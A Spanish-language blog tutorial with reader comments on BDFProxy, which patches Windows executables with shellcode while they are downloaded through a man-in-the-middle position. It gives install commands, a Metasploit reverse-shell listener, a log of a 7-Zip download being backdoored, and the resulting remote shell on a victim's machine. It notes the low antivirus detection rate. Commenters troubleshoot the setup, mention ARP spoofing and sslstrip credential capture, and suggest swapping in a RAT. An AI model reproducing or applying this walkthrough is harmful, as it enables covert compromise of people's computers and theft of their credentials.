The Backdoor Factory (BDF) es una herramienta escrita en Python para "parchear" binarios ejecutables añadiendo shellcodes mediante Code Cave Injection. Esto es, en lugar de abusar de una función del API de Windows para forzar que un proceso cargue un archivo DLL, asignar memoria en nuestro proceso de destino e inyectar un pequeño fragmento de código, o mejor dicho el trozo que cargará el archivo DLL. Esta es una forma más eficaz y menos detectada de inyección de código.
Más o menos, lo que hace BDF es enumerar el formato de la cabecera PE/COFF, buscar code caves que correspondan al tamaño del shellcode, insertarlo y volver a los registros/flags correspondientes para continuar con la ejecución normal del programa. Además permite "backdoorizar" un directorio entero, personalizar tus propios shellcodes y tiene un módulo de inyección bastante chulo que mirará un proceso o servicio específico para automatizar la inyección.
Y por si fuera poco, recientemente se ha publicado The Backdoor Factory Proxy (BDFProxy) que es capaz de parchear los binarios "al vuelo" durante la descarga, convirtiendo un MITM en un vector de ataque sumamente peligroso:
Su instalación en Kali Linux es sumamente sencilla:
Necesitaremos también el módulo 'pefile' para leer y trabajar con ficheros PE (Portable Executable):
Echamos un vistazo al fichero de configuración bdfproxy.cfg y lanzamos el script principal:
Luego preparamos nuestro meterpreter:
Y cuando la víctima se descargue un ejecutable de Internet se parcheará automáticamente con nuestro shellcode:
El fichero exe resultante no es FUD pero tiene una tasa de detección bastante baja:
https://www.virustotal.com/es/file/176bcf478114f69c82a2fb99b9950dbe6a2d4ca5edce099c28e591bdf1c700e3/analysis/1401706535/
Así que cuando la víctima ejecute el fichero exe infectado abrirá en background una sesión remota en nuestro equipo (el del atacante):
Más o menos, lo que hace BDF es enumerar el formato de la cabecera PE/COFF, buscar code caves que correspondan al tamaño del shellcode, insertarlo y volver a los registros/flags correspondientes para continuar con la ejecución normal del programa. Además permite "backdoorizar" un directorio entero, personalizar tus propios shellcodes y tiene un módulo de inyección bastante chulo que mirará un proceso o servicio específico para automatizar la inyección.
Y por si fuera poco, recientemente se ha publicado The Backdoor Factory Proxy (BDFProxy) que es capaz de parchear los binarios "al vuelo" durante la descarga, convirtiendo un MITM en un vector de ataque sumamente peligroso:
Su instalación en Kali Linux es sumamente sencilla:
root@kali:~# git clone https://github.com/secretsquirrel/BDFProxy bdf-proxy/
root@kali:~/bdf-proxy# ./install.sh
root@kali:~/bdf-proxy# ./update.sh
Necesitaremos también el módulo 'pefile' para leer y trabajar con ficheros PE (Portable Executable):
root@kali:~/bdf-proxy# wget https://pefile.googlecode.com/files/pefile-1.2.10-139.tar.gz
root@kali:~/bdf-proxy# tar -zxvf pefile-1.2.10-139.tar.gz
root@kali:~/bdf-proxy/pefile-1.2.10-139# python setup.py install
Echamos un vistazo al fichero de configuración bdfproxy.cfg y lanzamos el script principal:
root@kali:~/bdf-proxy# ./bdf_proxy.py
[!] Writing resource script.
[!] Resource writen to bdfproxy_msf_resource.rc
[!] Starting BDFProxy
Luego preparamos nuestro meterpreter:
msf > use multi/handler
msf exploit(handler) > set LHOST 192.168.142.128
LHOST => 192.168.142.128
msf exploit(handler) > set LPORT 8443
LPORT => 8443
msf exploit(handler) > exploit -z -j
Y cuando la víctima se descargue un ejecutable de Internet se parcheará automáticamente con nuestro shellcode:
********** REQUEST **********
[*] HOST: cznic.dl.sourceforge.net
[*] PATH: /project/sevenzip/7-Zip/9.20/7z920.exe
********** END REQUEST **********
========== RESPONSE ==========
[*] HOST: cznic.dl.sourceforge.net
[*] PATH: /project/sevenzip/7-Zip/9.20/7z920.exe
[*] In the backdoor module
[*] Checking if binary is supported
[*] Gathering file info
[*] Reading win32 entry instructions
[*] Looking for and setting selected shellcode
[*] Creating win32 resume execution stub
[*] Creating Code Cave
- Adding a new section to the exe/dll for shellcode injection
[*] Patching initial entry instructions
[*] Creating win32 resume execution stub
[*] Looking for and setting selected shellcode
[*] /tmp/tmpS8kUPf backdooring complete
[*] Patching complete, forwarding to user.
========== END RESPONSE ==========
El fichero exe resultante no es FUD pero tiene una tasa de detección bastante baja:
https://www.virustotal.com/es/file/176bcf478114f69c82a2fb99b9950dbe6a2d4ca5edce099c28e591bdf1c700e3/analysis/1401706535/
Así que cuando la víctima ejecute el fichero exe infectado abrirá en background una sesión remota en nuestro equipo (el del atacante):
msf exploit(handler) > [*] Command shell session 1 opened (192.168.142.128:8443 -> 172.20.3.109:11162) at 2014-06-02 01:19:36 -0400 msf exploit(handler) > msf exploit(handler) > sessions -l Active sessions =============== Id Type Information Connection -- ---- ----------- --------- 1 shell windows 192.168.142.128:8443 -> 172.20.3.109:11162 (
172.20.3.109
) msf exploit(handler) > sessions -i 1 [*] Starting interaction with 1... Microsoft Windows [Versi�n 6.1.7601] Copyright (c) 2009 Microsoft Corporation. Reservados todos los derechos. C:\Users\vmotos\Desktop>whoami whoami PC23462\vmotos
Me sale este error:
ResponderEliminarroot@kali:~/Desktop/bdf-proxy# ./bdf_proxy.py
Traceback (most recent call last):
File "./bdf_proxy.py", line 33, in
from libmproxy import controller, proxy, platform
ImportError: cannot import name platform
ejecutaste update.sh ??
EliminarSi hice todo tal y como viene aquí, en el fichero de configuración hay que cambiar algo? o se deja tal cual?
Eliminarcomo mínimo tendrás que indicar la IP a la que quieres que se conecte tu shell inverso, pero eso no es la causa del problema de importación.
EliminarHe mirado el oráculo (google) y parece que te puede faltar o estar mal instalado libmproxy. Reinstala y prueba mitmproxy a ver...
hola, tienes que modificar la ip de los [targets] para que se establezca la conexión inversa. El exe backdoorizado lo deja temporalmente en /tmp pero se lo transfiere de forma transparente al cliente que cree estar descargando el fichero original del sitio web...
ResponderEliminares una buena tecnica pero con los troyanos como funcionaria ?
ResponderEliminarpues supongo que se podrían hacer ciertas modificaciones para sustituir el payload por un RAT u otro malware. Aunque si obtienes un shell remoto el resto es elevación de privilegios (si es necesario) y post-explotación...
EliminarExcelente articulo !!
ResponderEliminarLo he estado probando en mi red wifi local, con kali linux y un w7 como victima.
Todo va bien.. el [!] Starting BDFProxy se queda a la escucha.. preparo metasploit..
Pero despues con w7 me descargo cualquier exe y no sale donde tiene que infectar el exe...la de
********** REQUEST **********
En que momento se hace el mitm? yo lo hago antes de ejecutar bdfproxy, lo hice tanto con arpspoof como con Ettercap... ademas se hace bien porque si pongo el sslstrip..puedo ver el usuario y clave de paginas por las que navego..
Alguna idea de porque puede ser?
Un saludo
Miguel